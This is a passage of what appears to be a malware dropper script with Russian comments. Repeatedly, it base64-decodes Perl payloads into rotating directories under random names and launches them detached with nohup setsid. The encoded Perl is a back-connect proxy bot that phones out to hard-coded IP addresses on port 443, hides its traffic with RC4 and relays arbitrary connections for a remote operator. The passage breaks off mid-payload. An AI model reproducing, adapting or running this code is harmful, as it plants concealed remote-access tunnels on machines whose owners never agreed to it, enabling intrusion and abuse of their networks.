KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #50 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #50 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 51 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #51 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #51 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 52 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp 